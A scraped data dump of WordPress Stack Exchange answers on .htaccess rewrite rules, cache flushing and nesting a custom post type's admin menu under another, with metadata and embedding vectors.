<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
A: have you tried to clear from the admin panel using "Flush Cache" ? if not, please try it. the option is on the admin panel under "Managed Wordpress". See photo below. I hope this helps
|
wordpress
|
{
"language": "en",
"length": 391,
"provenance": "stackexchange_00019.jsonl.gz:435938",
"question_score": "6",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110527"
}
|
[
0.01507568359375,
0.01084136962890625,
-0.0218353271484375,
-0.01267242431640625,
0.00853729248046875,
-0.022247314453125,
0.0029201507568359375,
-0.0389404296875,
0.016571044921875,
0.031402587890625,
-0.044158935546875,
-0.03759765625,
0.0174713134765625,
-0.0193023681640625,
-0.041015625,
-0.041229248046875,
0.046905517578125,
-0.01560211181640625,
0.034210205078125,
-0.0102996826171875,
0.01019287109375,
0.0234375,
0.025115966796875,
0.050018310546875,
0.01003265380859375,
-0.0213470458984375,
0.01641845703125,
-0.0225067138671875,
-0.01611328125,
-0.0406494140625,
0.00760650634765625,
0.04302978515625,
0.013885498046875,
0.06427001953125,
-0.0716552734375,
-0.03759765625,
-0.05804443359375,
0.045623779296875,
-0.006862640380859375,
0.003612518310546875,
0.0233001708984375,
-0.00469207763671875,
-0.0180511474609375,
0.0154876708984375,
-0.0239715576171875,
-0.037750244140625,
0.003879547119140625,
-0.0338134765625,
-0.00371551513671875,
-0.051055908203125,
0.0174102783203125,
-0.023529052734375,
0.05328369140625,
-0.04180908203125,
-0.0255126953125,
-0.0188751220703125,
0.033416748046875,
-0.0196380615234375,
0.03662109375,
-0.0261688232421875,
-0.052581787109375,
-0.0014019012451171875,
0.025299072265625,
-0.03369140625,
-0.000911712646484375,
0.0022182464599609375,
0.05474853515625,
0.006580352783203125,
-0.06549072265625,
0.0167694091796875,
0.047149658203125,
-0.0152435302734375,
-0.0092010498046875,
-0.0243988037109375,
0.0228424072265625,
0.00005257129669189453,
-0.0017404556274414062,
-0.01326751708984375,
-0.00273895263671875,
0.035430908203125,
0.028778076171875,
-0.005680084228515625,
-0.0285797119140625,
0.01088714599609375,
0.003856658935546875,
0.040496826171875,
-0.00861358642578125,
-0.03692626953125,
-0.01546478271484375,
-0.035247802734375,
-0.017486572265625,
-0.0653076171875,
-0.0036144256591796875,
-0.0204010009765625,
-0.0194549560546875,
-0.058197021484375,
0.025970458984375,
0.06939697265625,
-0.0235748291015625,
-0.010040283203125,
-0.0271148681640625,
-0.00527191162109375,
-0.044281005859375,
-0.017822265625,
0.0118255615234375,
0.0182952880859375,
-0.031494140625,
-0.0032939910888671875,
0.051300048828125,
0.047607421875,
0.012237548828125,
-0.007171630859375,
-0.02911376953125,
-0.0460205078125,
-0.0280303955078125,
0.0439453125,
-0.0164337158203125,
-0.0167694091796875,
0.006443023681640625,
-0.0175018310546875,
0.01007843017578125,
0.01512908935546875,
-0.036712646484375,
0.021209716796875,
0.0010051727294921875,
-0.0088043212890625,
-0.0171356201171875,
0.0167694091796875,
0.0189971923828125,
-0.017822265625,
-0.041656494140625,
0.001983642578125,
0.08306884765625,
0.057281494140625,
0.0509033203125,
-0.013824462890625,
0.040679931640625,
-0.007450103759765625,
-0.00124359130859375,
-0.003963470458984375,
0.02947998046875,
-0.0223846435546875,
-0.03863525390625,
0.00914764404296875,
0.0147705078125,
0.0212860107421875,
0.0011949539184570312,
0.0102691650390625,
0.02130126953125,
-0.046539306640625,
0.0283966064453125,
-0.048797607421875,
0.0161895751953125,
0.027069091796875,
0.037078857421875,
-0.00565338134765625,
0.070556640625,
-0.033294677734375,
-0.008819580078125,
-0.04608154296875,
0.007129669189453125,
-0.01439666748046875,
0.0092926025390625,
0.0261383056640625,
0.0011272430419921875,
0.0249786376953125,
-0.01459503173828125,
-0.000011205673217773438,
0.0404052734375,
-0.051483154296875,
0.0596923828125,
-0.033782958984375,
0.0537109375,
0.0281982421875,
0.0164794921875,
0.0300140380859375,
0.017852783203125,
-0.0168609619140625,
-0.0166778564453125,
0.039520263671875,
-0.01226043701171875,
-0.043487548828125,
-0.0204620361328125,
-0.01262664794921875,
-0.01497650146484375,
-0.034698486328125,
0.0227813720703125,
0.0201568603515625,
0.00595855712890625,
0.03143310546875,
0.0169525146484375,
-0.0035076141357421875,
-0.01396942138671875,
0.0245208740234375,
-0.004215240478515625,
0.0002715587615966797,
-0.01287841796875,
0.041259765625,
-0.0189666748046875,
-0.042327880859375,
0.03350830078125,
0.01192474365234375,
-0.020599365234375,
-0.03521728515625,
-0.11224365234375,
0.0191497802734375,
-0.0352783203125,
0.046539306640625,
0.006099700927734375,
0.0411376953125,
-0.0022907257080078125,
0.0081024169921875,
-0.006793975830078125,
-0.053741455078125,
-0.0123443603515625,
-0.01293182373046875,
0.011505126953125,
0.057830810546875,
0.0164337158203125,
0.03179931640625,
-0.00125885009765625,
-0.032562255859375,
0.0010671615600585938,
-0.01519775390625,
0.02178955078125,
0.0153961181640625,
-0.021881103515625,
-0.006237030029296875,
0.042938232421875,
-0.0236663818359375,
0.0333251953125,
0.047393798828125,
0.0478515625,
0.07501220703125,
0.01275634765625,
-0.0273590087890625,
0.007465362548828125,
-0.1265869140625,
0.026092529296875,
0.055511474609375,
0.029998779296875,
0.024871826171875,
-0.0247955322265625,
-0.0079193115234375,
0.042877197265625,
-0.004955291748046875,
0.01201629638671875,
-0.0052490234375,
-0.004421234130859375,
0.006500244140625,
-0.0008478164672851562,
-0.033599853515625,
0.015716552734375,
-0.054656982421875,
-0.0012226104736328125,
0.0157623291015625,
0.0086822509765625,
0.009185791015625,
-0.026947021484375,
0.0253448486328125,
0.0016164779663085938,
-0.0008263587951660156,
-0.0222930908203125,
-0.00566864013671875,
0.006519317626953125,
-0.006626129150390625,
-0.0007724761962890625,
-0.0005402565002441406,
-0.00940704345703125,
0.007232666015625,
0.0248870849609375,
-0.034942626953125,
0.004032135009765625,
0.0095977783203125,
0.007709503173828125,
0.002231597900390625,
-0.055206298828125,
0.0142364501953125,
0.04058837890625,
-0.0018253326416015625,
-0.007251739501953125,
0.0229644775390625,
0.0030193328857421875,
-0.00920867919921875,
-0.0011920928955078125,
0.00007337331771850586,
0.0205535888671875,
0.00689697265625,
0.00855255126953125,
0.0118865966796875,
0.022430419921875,
0.032928466796875,
-0.005584716796875,
0.038360595703125,
-0.019927978515625,
-0.0111541748046875,
0.0282745361328125,
0.00652313232421875,
-0.0031108856201171875,
0.01593017578125,
0.0250396728515625,
0.05230712890625,
0.028778076171875,
-0.01233673095703125,
0.015289306640625,
0.0166168212890625,
0.036651611328125,
0.00640869140625,
0.00728607177734375,
0.0098419189453125,
-0.039642333984375,
0.00036334991455078125,
0.03985595703125,
0.051177978515625,
0.00984954833984375,
-0.032562255859375,
-0.0116729736328125,
0.043182373046875,
-0.08184814453125,
-0.09796142578125,
-0.083984375,
-0.00665283203125,
-0.030181884765625,
0.0289154052734375,
0.002590179443359375,
0.03765869140625,
0.00788116455078125,
0.012786865234375,
0.036956787109375,
-0.009674072265625,
0.003658294677734375,
-0.0238800048828125,
-0.047637939453125,
-0.076171875,
0.00374603271484375,
-0.024932861328125,
0.0031032562255859375,
0.065185546875,
-0.00177764892578125,
-0.070068359375,
-0.01129913330078125,
0.0151824951171875,
-0.0128173828125,
0.0151824951171875,
0.0283203125,
-0.0523681640625,
0.0025997161865234375,
-0.004505157470703125,
0.0283966064453125,
0.0269317626953125,
-0.01367950439453125,
-0.006237030029296875,
-0.0182647705078125,
-0.037811279296875,
0.00441741943359375,
-0.004131317138671875,
0.002628326416015625,
-0.029876708984375,
-0.00643157958984375,
-0.054473876953125,
-0.031707763671875,
0.0214385986328125,
-0.028961181640625,
0.01136016845703125,
-0.00592041015625,
-0.0230560302734375,
0.01904296875,
0.0191802978515625,
0.0282440185546875,
0.0312042236328125,
-0.034820556640625,
-0.00946807861328125,
0.02862548828125,
0.01448822021484375,
0.042572021484375,
0.026153564453125,
0.02984619140625,
-0.020416259765625,
0.005344390869140625,
0.002590179443359375,
-0.004566192626953125,
0.002727508544921875,
-0.027587890625,
-0.0165863037109375,
-0.0693359375,
0.044036865234375,
-0.0234222412109375,
0.036407470703125,
-0.047576904296875,
-0.0282745361328125,
-0.006786346435546875,
0.11968994140625,
-0.003612518310546875,
-0.0212249755859375,
-0.0009756088256835938,
0.01154327392578125,
-0.03912353515625,
-0.0229339599609375,
-0.034423828125,
-0.007366180419921875,
-0.11700439453125,
0.00856781005859375,
0.00771331787109375,
-0.044830322265625,
-0.0274658203125,
0.041290283203125,
-0.08465576171875,
-0.033599853515625,
0.037933349609375,
-0.060699462890625,
0.0120391845703125,
-0.0157012939453125,
0.0162811279296875,
-0.07086181640625,
0.0016841888427734375,
-0.03204345703125,
-0.06201171875,
-0.0095977783203125,
-0.02801513671875,
0.05670166015625,
0.03363037109375,
-0.00385284423828125,
-0.010009765625,
0.0430908203125,
0.0036258697509765625,
0.038787841796875,
-0.01910400390625,
-0.01506805419921875,
-0.0216522216796875,
0.0108489990234375,
0.004734039306640625,
-0.00634765625,
-0.0031032562255859375,
-0.016082763671875,
-0.0175018310546875,
-0.016357421875,
-0.032684326171875,
-0.037567138671875,
0.01125335693359375,
-0.0217437744140625,
-0.002323150634765625,
-0.02197265625,
-0.053985595703125,
-0.03607177734375,
-0.050262451171875,
0.01000213623046875,
0.01239013671875,
0.02008056640625,
0.05401611328125,
0.0229034423828125,
0.0184173583984375,
0.01372528076171875,
0.07501220703125,
-0.002117156982421875,
-0.037109375,
-0.0643310546875,
-0.008941650390625,
0.01125335693359375,
-0.010406494140625,
0.02313232421875,
-0.0178070068359375,
-0.006298065185546875,
0.038909912109375,
-0.03448486328125,
0.00786590576171875,
-0.049530029296875,
0.080322265625,
-0.01340484619140625,
-0.0118408203125,
0.0255279541015625,
-0.019683837890625,
0.01373291015625,
0.034576416015625,
0.037017822265625,
-0.016632080078125,
0.00511932373046875,
0.021636962890625,
0.0467529296875,
-0.08648681640625,
-0.04547119140625,
-0.05352783203125,
0.016143798828125,
-0.0308837890625,
0.060577392578125,
0.0462646484375,
-0.0117645263671875,
0.07086181640625,
0.0445556640625,
0.0016508102416992188,
-0.0301971435546875,
0.023773193359375,
-0.006481170654296875,
0.0110626220703125,
0.01190185546875,
0.0029659271240234375,
-0.0477294921875,
-0.01351165771484375,
0.0244293212890625,
0.0265960693359375,
-0.057861328125,
0.057952880859375,
0.029205322265625,
-0.0207977294921875,
0.032379150390625,
-0.004161834716796875,
0.04803466796875,
-0.007068634033203125,
0.003734588623046875,
-0.004467010498046875,
-0.04705810546875,
-0.0231170654296875,
-0.0438232421875,
0.055419921875,
-0.00670623779296875,
0.00787353515625,
0.0161895751953125,
0.04998779296875,
0.020111083984375,
0.01190185546875,
-0.013580322265625,
0.052581787109375,
-0.0012502670288085938,
0.038482666015625,
-0.0013532638549804688,
-0.007755279541015625,
0.037506103515625,
-0.025238037109375,
0.0018205642700195312,
-0.05108642578125,
-0.0191497802734375,
0.005878448486328125,
0.033416748046875,
-0.0042724609375,
-0.0210418701171875,
0.03729248046875,
0.01215362548828125,
-0.00746917724609375,
0.023834228515625,
-0.022003173828125,
-0.04742431640625,
-0.0256805419921875,
0.01346588134765625,
0.03387451171875,
-0.015777587890625,
-0.021484375,
0.0389404296875,
-0.0288238525390625,
0.0391845703125,
0.0035839080810546875,
0.01690673828125,
-0.035186767578125,
-0.036712646484375,
-0.03173828125,
-0.027679443359375,
-0.00952911376953125,
-0.044647216796875,
-0.019195556640625,
0.004241943359375,
0.0007605552673339844,
0.024688720703125,
0.0013322830200195312,
0.01507568359375,
-0.0260162353515625,
-0.00763702392578125,
-0.0206451416015625,
0.0088958740234375,
0.01239013671875,
-0.016387939453125,
-0.0355224609375,
-0.01580810546875,
-0.04888916015625,
-0.02423095703125,
-0.0860595703125,
-0.059478759765625,
-0.046844482421875,
0.022979736328125,
0.01454925537109375,
0.015838623046875,
-0.00868988037109375,
-0.0190887451171875,
-0.005916595458984375,
0.03826904296875,
0.026947021484375,
0.06842041015625,
-0.012847900390625,
0.04437255859375,
0.005611419677734375,
0.0220489501953125,
0.008636474609375,
0.00934600830078125,
-0.006938934326171875,
-0.00550079345703125,
0.0184478759765625,
-0.00856781005859375,
-0.041717529296875,
-0.00893402099609375,
-0.0223846435546875,
-0.0009050369262695312,
0.03057861328125,
-0.0281219482421875,
0.019989013671875,
-0.0246124267578125,
-0.008575439453125,
-0.0247344970703125,
0.030975341796875,
-0.041534423828125,
0.025482177734375,
-0.032318115234375,
0.00678253173828125,
0.06024169921875,
0.00594329833984375,
-0.040374755859375,
0.0195159912109375,
0.00029349327087402344,
0.037750244140625,
0.0017766952514648438,
-0.0311279296875,
0.046661376953125,
0.076171875,
0.042205810546875,
0.06036376953125,
0.026763916015625,
0.03729248046875,
-0.0047454833984375,
-0.01084136962890625,
0.005550384521484375,
0.0111083984375,
0.01776123046875,
-0.01678466796875,
0.0173492431640625,
0.007770538330078125,
-0.005321502685546875,
0.0230865478515625,
0.05810546875,
0.080810546875,
-0.071044921875,
0.0164031982421875,
-0.00872802734375,
-0.025146484375,
0.05401611328125,
0.005596160888671875,
-0.004505157470703125,
-0.0024585723876953125,
-0.01251220703125,
-0.020172119140625,
-0.035675048828125,
-0.01335906982421875,
0.00463104248046875,
-0.0012054443359375,
0.0011358261108398438,
0.037628173828125,
0.00763702392578125,
-0.057464599609375,
0.0010623931884765625,
0.052886962890625,
-0.0160980224609375,
-0.02191162109375,
0.0338134765625,
0.0082855224609375,
0.0101318359375,
-0.0311126708984375,
0.03533935546875,
-0.0009264945983886719,
-0.002498626708984375,
0.03631591796875,
0.05206298828125,
-0.005542755126953125,
0.0692138671875,
-0.00904083251953125,
0.037750244140625,
0.0238494873046875,
-0.01149749755859375,
-0.02850341796875,
-0.03125,
0.019134521484375,
0.021881103515625,
-0.07135009765625,
0.0301513671875,
-0.03924560546875,
-0.0279693603515625,
-0.016326904296875,
-0.0016660690307617188,
0.05987548828125,
-0.036865234375,
-0.0012302398681640625,
0.032440185546875,
0.06707763671875,
-0.006175994873046875,
0.0044403076171875,
0.0015001296997070312,
0.0018377304077148438,
0.0458984375,
0.0039005279541015625,
0.03533935546875,
0.0204925537109375,
0.019805908203125,
-0.0789794921875,
0.08978271484375,
-0.00321197509765625,
0.0623779296875,
0.034698486328125,
0.0164642333984375,
-0.039520263671875,
-0.02685546875,
-0.03326416015625,
0.058929443359375,
0.041839599609375,
0.004306793212890625,
-0.061431884765625,
-0.0147857666015625,
-0.019683837890625,
0.0273284912109375,
0.0088653564453125,
0.0081939697265625,
-0.0141448974609375,
0.0033626556396484375,
0.037200927734375,
0.0249786376953125,
0.0136566162109375,
0.035919189453125,
-0.002796173095703125,
0.0225067138671875,
0.018157958984375,
-0.03045654296875,
0.03192138671875,
-0.033538818359375,
-0.02520751953125,
0.01263427734375,
0.01088714599609375,
0.009429931640625,
0.00592803955078125,
0.041259765625,
-0.08038330078125,
0.02984619140625,
0.0638427734375,
-0.03106689453125,
0.0067138671875,
-0.006389617919921875,
0.00201416015625,
-0.004711151123046875,
-0.01168060302734375,
-0.0017757415771484375,
0.01540374755859375,
0.0159149169921875,
-0.0031719207763671875,
-0.00742340087890625,
0.00473785400390625,
-0.01311492919921875,
-0.0262298583984375,
-0.013641357421875,
0.0214996337890625,
-0.040496826171875,
0.0160980224609375,
0.0006260871887207031,
0.028533935546875,
-0.038330078125,
-0.021209716796875,
0.002391815185546875,
0.0135040283203125,
-0.010467529296875,
-0.0277862548828125,
-0.00311279296875,
0.015228271484375,
0.0254364013671875,
-0.01824951171875,
0.0384521484375,
-0.06597900390625,
-0.036224365234375,
0.02197265625,
-0.01141357421875,
0.0182342529296875,
-0.0160980224609375,
0.01300811767578125,
0.0307159423828125,
-0.001407623291015625,
0.0225372314453125,
-0.016204833984375,
-0.028533935546875,
0.022796630859375,
0.040496826171875,
0.0187530517578125,
0.019500732421875,
-0.01085662841796875,
-0.01873779296875,
-0.01270294189453125,
0.0096435546875,
0.015350341796875,
-0.004940032958984375,
-0.054107666015625,
-0.024932861328125,
0.03729248046875,
0.037811279296875,
-0.016143798828125,
-0.0008101463317871094,
0.03497314453125,
0.0182342529296875,
-0.0286407470703125,
-0.033966064453125,
-0.005306243896484375,
-0.03076171875,
0.0244293212890625,
-0.04364013671875,
-0.002910614013671875,
-0.032989501953125,
-0.01142120361328125,
-0.016998291015625,
0.00897216796875,
-0.0005726814270019531,
-0.01412200927734375,
-0.0008635520935058594,
-0.0005631446838378906,
-0.03887939453125,
0.01424407958984375,
-0.017669677734375,
0.01175689697265625,
0.0066375732421875,
-0.0538330078125,
-0.02215576171875,
-0.009063720703125,
0.0279998779296875,
0.0241546630859375,
0.029083251953125,
-0.02142333984375,
0.054168701171875,
0.00652313232421875,
-0.0183563232421875,
0.0151214599609375,
0.0089569091796875,
-0.0226287841796875,
-0.00974273681640625,
0.039276123046875,
-0.025054931640625,
-0.044036865234375,
-0.035247802734375,
0.007556915283203125,
0.0184783935546875,
-0.001163482666015625,
0.0308685302734375,
0.006725311279296875,
0.0164642333984375,
0.01332855224609375,
-0.0134429931640625,
0.016693115234375,
0.0154266357421875,
-0.0276031494140625,
-0.00450897216796875,
0.0001862049102783203,
-0.0086822509765625,
-0.0667724609375,
0.042144775390625,
0.02862548828125,
0.007450103759765625,
0.049407958984375,
-0.02423095703125,
0.007236480712890625,
-0.045562744140625,
-0.0194091796875,
-0.0208892822265625,
-0.01090240478515625,
0.0286407470703125,
0.023956298828125,
0.0025806427001953125,
-0.0282745361328125,
-0.027740478515625,
0.0265960693359375,
0.0152587890625,
-0.046661376953125,
0.03314208984375,
-0.057830810546875,
0.056304931640625,
0.035858154296875,
0.025482177734375,
-0.0279083251953125,
-0.002307891845703125,
-0.0201873779296875,
0.004199981689453125,
0.0041961669921875,
0.035308837890625,
-0.0024394989013671875,
-0.033599853515625,
-0.007541656494140625,
0.01219940185546875,
0.033172607421875,
-0.0176849365234375,
0.005859375,
0.0133056640625,
-0.0010385513305664062,
-0.01971435546875,
0.0164947509765625,
-0.023712158203125,
-0.0208892822265625,
-0.01044464111328125,
0.0025386810302734375,
-0.0108642578125,
-0.05133056640625,
-0.042816162109375,
0.0279693603515625,
0.06353759765625,
0.0328369140625,
-0.07672119140625,
0.0576171875,
-0.042816162109375,
0.018890380859375,
0.047119140625,
-0.0219879150390625,
0.01340484619140625,
0.06024169921875,
0.00580596923828125,
-0.040496826171875,
-0.03936767578125,
0.0224761962890625,
-0.06634521484375,
0.005741119384765625,
0.0287322998046875,
-0.0180816650390625,
0.0157623291015625,
0.00029969215393066406,
0.01146697998046875,
0.05230712890625,
-0.021575927734375,
-0.004451751708984375,
0.046539306640625,
0.00591278076171875,
-0.0217742919921875,
-0.082275390625,
-0.0216827392578125,
-0.045379638671875,
0.0357666015625,
-0.051605224609375,
0.032989501953125,
0.029144287109375,
-0.037139892578125,
-0.07080078125,
-0.020599365234375,
-0.01230621337890625,
-0.039276123046875,
-0.04925537109375,
-0.00630950927734375,
0.005741119384765625,
-0.0191650390625,
-0.0202789306640625,
-0.0206756591796875,
-0.0258636474609375,
0.03466796875,
0.022613525390625,
0.046295166015625,
0.020904541015625,
0.0235595703125,
-0.035369873046875,
0.0156097412109375,
-0.0135345458984375,
0.040191650390625,
0.00614166259765625,
0.0039005279541015625,
0.0030460357666015625,
0.055633544921875,
-0.009490966796875,
-0.067626953125,
0.0018701553344726562,
-0.041778564453125,
-0.0244598388671875,
-0.01168060302734375,
0.03045654296875,
0.023590087890625,
0.02435302734375,
0.0595703125,
-0.005474090576171875,
-0.040863037109375,
-0.007152557373046875,
0.0290679931640625,
-0.044036865234375,
-0.0290679931640625,
0.037811279296875,
-0.0858154296875,
-0.04351806640625,
-0.00325775146484375,
-0.0159149169921875,
-0.00926971435546875,
-0.0017824172973632812,
-0.0289459228515625,
-0.003021240234375,
0.01181793212890625,
-0.00934600830078125,
-0.006988525390625,
-0.00699615478515625,
0.014312744140625,
-0.0193328857421875,
0.0007381439208984375,
0.0117034912109375,
0.01263427734375,
0.01276397705078125,
0.0289306640625,
0.033935546875,
-0.01241302490234375,
-0.033966064453125,
0.0224761962890625,
0.00551605224609375,
0.00698089599609375,
-0.048309326171875,
-0.0460205078125,
0.0053863525390625,
0.00527191162109375,
-0.0228118896484375,
-0.0079193115234375,
0.02203369140625,
0.006805419921875,
-0.0181121826171875,
0.02752685546875,
-0.006587982177734375,
0.01065826416015625,
-0.01462554931640625,
0.05206298828125,
-0.0199432373046875,
-0.031646728515625,
0.004413604736328125,
-0.0421142578125,
0.0034351348876953125,
0.01042938232421875,
0.0267791748046875,
-0.040008544921875,
0.027679443359375,
-0.040130615234375,
0.02099609375,
0.0199432373046875
] |
d6c0cd0c18a1c95530a5d0feb49089e9c618b9e7
|
Wordpress Stackexchange
Q: Is It Possible To Add Custom Post Type Menu As Another Custom Post Type Sub Menu I currently developing a wordpress plugin that is using two custom post types. What I want to know here: is it possible to add a custom post type menu as another custom post type's sub menu?
A: Our custom post type:
$args['show_in_menu'] = false;
register_post_type('custom_plugin_post_type', $args);
Add him for existing Custom Post Type ("product" for example):
$existing_CPT_menu = 'edit.php?post_type=product';
$link_our_new_CPT = 'edit.php?post_type=custom_plugin_post_type';
add_submenu_page($existign_CPT_menu, 'SubmenuTitle', 'SubmenuTitle', 'manage_options', $link_our_new_CPT);
Or add for our custom plugin menu:
// Create plugin menu
add_menu_page('MyPlugin', 'MyPlugin', 'manage_options', 'myPluginSlug', 'callback_render_plugin_menu');
// Create submenu with href to view custom_plugin_post_type
$link_our_new_CPT = 'edit.php?post_type=custom_plugin_post_type';
add_submenu_page('myPluginSlug', 'SubmenuTitle', 'SubmenuTitle', 'manage_options', $link_our_new_CPT);
|
Q: Is It Possible To Add Custom Post Type Menu As Another Custom Post Type Sub Menu I currently developing a wordpress plugin that is using two custom post types. What I want to know here: is it possible to add a custom post type menu as another custom post type's sub menu?
A: Our custom post type:
$args['show_in_menu'] = false;
register_post_type('custom_plugin_post_type', $args);
Add him for existing Custom Post Type ("product" for example):
$existing_CPT_menu = 'edit.php?post_type=product';
$link_our_new_CPT = 'edit.php?post_type=custom_plugin_post_type';
add_submenu_page($existign_CPT_menu, 'SubmenuTitle', 'SubmenuTitle', 'manage_options', $link_our_new_CPT);
Or add for our custom plugin menu:
// Create plugin menu
add_menu_page('MyPlugin', 'MyPlugin', 'manage_options', 'myPluginSlug', 'callback_render_plugin_menu');
// Create submenu with href to view custom_plugin_post_type
$link_our_new_CPT = 'edit.php?post_type=custom_plugin_post_type';
add_submenu_page('myPluginSlug', 'SubmenuTitle', 'SubmenuTitle', 'manage_options', $link_our_new_CPT);
A: Yes. When you register your post type you need to set show_in_menu to the page you would like it displayed on.
Adding a custom post type as a sub-menu of Posts
Here we set the "movies" post type to be included in the sub-menu under Posts.
register_post_type( 'movies',
array(
'labels' => array(
'name' => __( 'Movies' ),
'singular_name' => __( 'Movie' )
),
'public' => true,
'has_archive' => true,
'show_in_menu' => 'edit.php'
)
);
If you have a taxonomy registered to the custom post type it will need to be added to the page as well.
In add_submenu_page() the first argument is the page to assign it to and the last is the menu slug.
add_action('admin_menu', 'my_admin_menu');
function my_admin_menu() {
add_submenu_page('edit.php', 'Genre', 'Genre', 'manage_options', 'edit-tags.php?taxonomy=genre');
}
Adding a custom post type as a sub-menu of another custom post type
To add the pages to another custom post type include the post type's query string parameter along with the page names.
To add the CPT Movies and its taxonomy Genre under the post type Entertainment adjust the code like this.
edit.php becomes edit.php?post_type=entertainment
edit-tags.php becomes edit-tags.php?taxonomy=genre&post_type=entertainment
register_post_type( 'movies',
array(
'labels' => array(
'name' => __( 'Movies' ),
'singular_name' => __( 'Movie' )
),
'public' => true,
'has_archive' => true,
'show_in_menu' => 'edit.php?post_type=entertainment'
)
);
add_action('admin_menu', 'my_admin_menu');
function my_admin_menu() {
add_submenu_page('edit.php?post_type=entertainment', 'Genre', 'Genre', 'manage_options', 'edit-tags.php?taxonomy=genre&post_type=entertainment');
}
A: This is what worked for me
add_action('admin_menu', 'vrodos_plugin_menu');
function vrodos_plugin_menu(){
add_menu_page( 'VRodos Plugin Page',
'VRodos',
'manage_options',
'vrodos-plugin',
'vrodos_plugin_main_page');
add_submenu_page('vrodos-plugin',
'Games',
'Games',
'manage_options',
'edit.php?post_type=vrodos_game'
);
}
When I register the cpt 'vrodos_game' I set
'show_ui' => true,
'show_in_menu' => false,
|
wordpress
|
{
"language": "en",
"length": 381,
"provenance": "stackexchange_00019.jsonl.gz:435951",
"question_score": "44",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110562"
}
|
[
0.07611083984375,
-0.00044918060302734375,
0.041961669921875,
-0.00865936279296875,
0.0279388427734375,
-0.028900146484375,
0.0994873046875,
-0.04388427734375,
-0.07366943359375,
0.0026111602783203125,
0.0183258056640625,
-0.00478363037109375,
-0.052520751953125,
-0.046600341796875,
0.030487060546875,
-0.052642822265625,
0.0270233154296875,
0.00024211406707763672,
0.0251312255859375,
-0.00954437255859375,
-0.0025348663330078125,
0.003978729248046875,
0.007442474365234375,
0.048126220703125,
0.0193023681640625,
-0.011993408203125,
0.0205841064453125,
0.006328582763671875,
0.006000518798828125,
0.01305389404296875,
0.0188140869140625,
-0.0252532958984375,
0.02056884765625,
0.01169586181640625,
-0.0015649795532226562,
0.031280517578125,
0.03466796875,
-0.0007367134094238281,
0.00888824462890625,
0.02984619140625,
0.008453369140625,
0.0108642578125,
0.0223541259765625,
0.024383544921875,
-0.01436614990234375,
-0.035919189453125,
0.016754150390625,
-0.01345062255859375,
0.015869140625,
-0.0306396484375,
0.021697998046875,
-0.007457733154296875,
0.032806396484375,
-0.0328369140625,
-0.02587890625,
-0.011810302734375,
0.005611419677734375,
-0.035430908203125,
0.0306396484375,
0.01788330078125,
-0.014678955078125,
-0.0288543701171875,
0.019561767578125,
-0.04736328125,
-0.00403594970703125,
0.013397216796875,
0.0149688720703125,
-0.0200958251953125,
-0.041534423828125,
0.020050048828125,
0.051971435546875,
-0.029510498046875,
0.04266357421875,
0.024566650390625,
-0.01837158203125,
-0.08038330078125,
0.04864501953125,
-0.0226593017578125,
0.01322174072265625,
0.00421142578125,
0.0279693603515625,
-0.0018396377563476562,
0.0063934326171875,
-0.0181732177734375,
-0.01074981689453125,
-0.0233306884765625,
-0.007350921630859375,
-0.0016717910766601562,
0.0025615692138671875,
-0.015625,
-0.02020263671875,
-0.0302276611328125,
0.0157318115234375,
0.0280303955078125,
-0.00379180908203125,
-0.028594970703125,
0.035308837890625,
0.0355224609375,
-0.004901885986328125,
0.0418701171875,
0.0023059844970703125,
-0.062744140625,
0.108642578125,
-0.0699462890625,
0.01207733154296875,
0.03662109375,
0.0164794921875,
-0.01122283935546875,
0.037384033203125,
-0.0017795562744140625,
0.0018310546875,
0.050323486328125,
-0.00992584228515625,
-0.044342041015625,
-0.0004477500915527344,
0.044403076171875,
-0.0127410888671875,
0.0005693435668945312,
0.006092071533203125,
0.0192718505859375,
-0.0083465576171875,
0.0166015625,
0.0101165771484375,
-0.001964569091796875,
0.0112152099609375,
0.01458740234375,
0.00919342041015625,
-0.04046630859375,
-0.0271759033203125,
0.0080413818359375,
-0.0290985107421875,
0.0036411285400390625,
0.08160400390625,
0.05120849609375,
0.0225372314453125,
-0.022552490234375,
0.00966644287109375,
-0.0263214111328125,
-0.0248870849609375,
-0.01512908935546875,
0.0455322265625,
0.0026531219482421875,
-0.0191192626953125,
-0.0239105224609375,
-0.003932952880859375,
0.0083465576171875,
-0.00170135498046875,
0.015594482421875,
0.01006317138671875,
-0.01502227783203125,
0.0049285888671875,
-0.053619384765625,
0.0223846435546875,
-0.0008759498596191406,
-0.05255126953125,
-0.030792236328125,
-0.02545166015625,
-0.02545166015625,
0.022125244140625,
-0.0447998046875,
-0.042633056640625,
-0.0255584716796875,
0.0103912353515625,
-0.0693359375,
-0.07275390625,
0.05010986328125,
-0.01071929931640625,
-0.007251739501953125,
0.029083251953125,
-0.00841522216796875,
0.0245819091796875,
-0.01522064208984375,
0.0171661376953125,
0.02703857421875,
0.007526397705078125,
0.0236053466796875,
-0.0003917217254638672,
0.0179595947265625,
0.038360595703125,
0.044097900390625,
-0.0026092529296875,
-0.0232391357421875,
0.093505859375,
-0.0361328125,
-0.062164306640625,
0.042266845703125,
0.00399017333984375,
0.095458984375,
0.02813720703125,
0.031402587890625,
-0.0008449554443359375,
-0.00951385498046875,
-0.025665283203125,
0.0027256011962890625,
-0.0169525146484375,
-0.040771484375,
0.0096435546875,
-0.01413726806640625,
-0.0213775634765625,
0.044189453125,
-0.08978271484375,
0.02471923828125,
-0.0277862548828125,
0.0458984375,
-0.0462646484375,
0.031890869140625,
-0.02423095703125,
0.0543212890625,
0.0225830078125,
-0.0091094970703125,
-0.010040283203125,
-0.01557159423828125,
0.024200439453125,
-0.078857421875,
-0.03497314453125,
0.04412841796875,
-0.004940032958984375,
0.0219879150390625,
-0.0152587890625,
-0.004955291748046875,
-0.00650787353515625,
-0.0240631103515625,
0.00804901123046875,
0.050872802734375,
0.044036865234375,
0.0102996826171875,
-0.018585205078125,
-0.002193450927734375,
0.0131378173828125,
0.0487060546875,
-0.0712890625,
-0.005489349365234375,
0.052093505859375,
-0.0030193328857421875,
-0.03570556640625,
0.01158905029296875,
0.003192901611328125,
-0.045684814453125,
-0.0228729248046875,
0.05096435546875,
0.025115966796875,
0.041534423828125,
-0.0136566162109375,
0.004451751708984375,
0.06005859375,
-0.0185394287109375,
0.00881195068359375,
